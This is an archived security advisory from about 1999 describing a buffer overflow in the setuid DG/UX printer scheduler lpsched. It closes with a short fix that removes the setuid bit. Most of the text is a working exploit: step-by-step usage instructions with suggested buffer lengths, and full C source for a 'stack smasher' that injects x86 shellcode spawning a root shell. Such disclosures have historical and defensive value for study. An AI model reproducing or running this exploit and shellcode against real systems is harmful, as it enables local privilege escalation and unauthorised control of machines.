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TUCoPS :: Unix :: Various Flavours :: krnl19.htm

DG/UX Buffer Overflow



Vulnerability

    kernel

Affected

    DGUX

Description

    Luciano  Miguel  Ferreira  Rocha   found  following.   There's   a
    vulnerability  in   DG's  UNIX   implementation  (DGUX),   version
    R4.20MU06 and MU02 (ia32 arch).

    The problem  is when  a very  long, non-existant,  printer name is
    passed  to  the  program  lpsched.   It  tries  to format an error
    message and then the buffer overflow occurs...

    How to exploit:
    - Use the attached exploit program like this:
      ./squash-dgux-x86 29000 /usr/lib/lp/lpsched -S EGG
      (if the 29000 doesn't work, try 27428 or other numbers)
    - Details of the shell code and the vulnerability can be found in
      http://strange.nsk.yi.org/squash-dgux-x86/

    /******************************************************************************
     *		Stack Smasher by Luciano Rocha, (c) 1999                      *
     *		 for dgux (Data General's UN*X) on x86                        *
     *									      *
     *	To compile: cc -o squash-dgux-x86 squash-dgux-x86.c		      *
     *									      *
     *	To use: squash-dgux-x86 <length> <program to squash> [params of prog] *
     *			EGG [other params of prog]			      *
     *									      *
     *	For a list of programs and their respective lengths see my home page, *
     *		currently at http://strange.nsk.yi.org/                       *
     *									      *
     *	My email: strange@nsk.yi.org					      *
     *									      *
     *	Disclaimer: I take no responsability of whatever may result of using  *
     * 		this program nor I sugest ilegal use of it.		      *
     *			You are on your own.				      *
     ******************************************************************************/
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <strings.h>
    #include <unistd.h>
    
    char maker[] = "Generic stack-smasher for dgux-x86 by Luciano Rocha, (c) 1999.\n";
    
    char sc[] = {
	    'E', 'G', 'G', '=',
	    0x33, 0xc0, 0x33, 0xc9, 0x80, 0xc1, 0x68, 0x66, 0x51, 0x66, 0x68, 0x2f,
	    0x73, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x8b, 0xdc, 0x50, 0x53, 0x80, 0xc1,
	    0xdf, 0x66, 0x51, 0x50, 0x66, 0xba, 0x90, 0x9a, 0x66, 0x52, 0x66, 0x68,
	    0x33, 0xc0, 0x66, 0x51, 0x50, 0x66, 0x52, 0x66, 0x68, 0x90, 0x58, 0x66,
	    0x51, 0x50, 0x66, 0x52, 0x8b, 0xcc, 0x8b, 0xd3, 0x81, 0xc2, 0xf8, 0xff,
	    0xff, 0xff, 0x52, 0x52, 0x53, 0x50, 0x04, 0x11, 0x50, 0x51, 0x04, 0x25,
	    0xc3, 0x00
    };
    
    int prepare2(int argc, char *argv[]) {
	    int len, off;
	    char *buff;
    
	    if (argc < 4) {
		    fprintf(stderr, "%s <size> <prog_to_smash> [args] EGG "
			    "[args].\n", argv[0]);
		    exit(1);
	    }
	    for (off = 1; off < argc && strcmp(argv[off], "EGG"); ++off);
	    if (off >= argc) {
		    fprintf(stderr, "%s: no EGG parameter specified. Aborting.\n",
				    argv[0]);
		    exit(1);
	    }
	    len = strtol(argv[1], NULL, 0);
	    buff = (char *) malloc(len + 1);
	    buff[len] = '\0';
	    memset(buff, 0x90, len);
	    putenv(sc);
	    argv[off] = buff;
	    execv(argv[0], argv+2);
	    perror(argv[0]);
	    return 1;
    }
    
    int dosquash(int argc, unsigned char *argv[]) {
	    char *p;
	    int pos, ptr;
	    int *d;
    
	    p = getenv("EGG");
	    fprintf(stderr, "%s: EGG == %p, EGG[0] == 0x%x\n", argv[0], p, *p);
	    pos = 1;
	    while (argv[pos] && *argv[pos] != 0x90) ++pos;
	    if (!argv[pos]) {
		    fprintf(stderr, "%s: no place to squash...\n", argv[0]);
		    exit(0);
	    }
	    d = (int *) argv[pos];
	    ptr = (int) p;
	    while (*d == 0x90909090) *d++ = ptr;
	    execv(argv[0], argv);
	    perror(argv[0]);
	    return 1;
    }
    
    int main(int argc, char *argv[]) {
    
	    if (getenv("EGG")) dosquash(argc, (unsigned char **)argv);
	    else prepare2(argc, argv);
	    return 1;
    }

Solution

    Data  General  was  told  about  the vulnerability over almost two
    years ago.  No response.  So:
    - chmod -s /usr/lib/lp/lpsched
    - switch to a better UNIX like system (sorry, dgux people)


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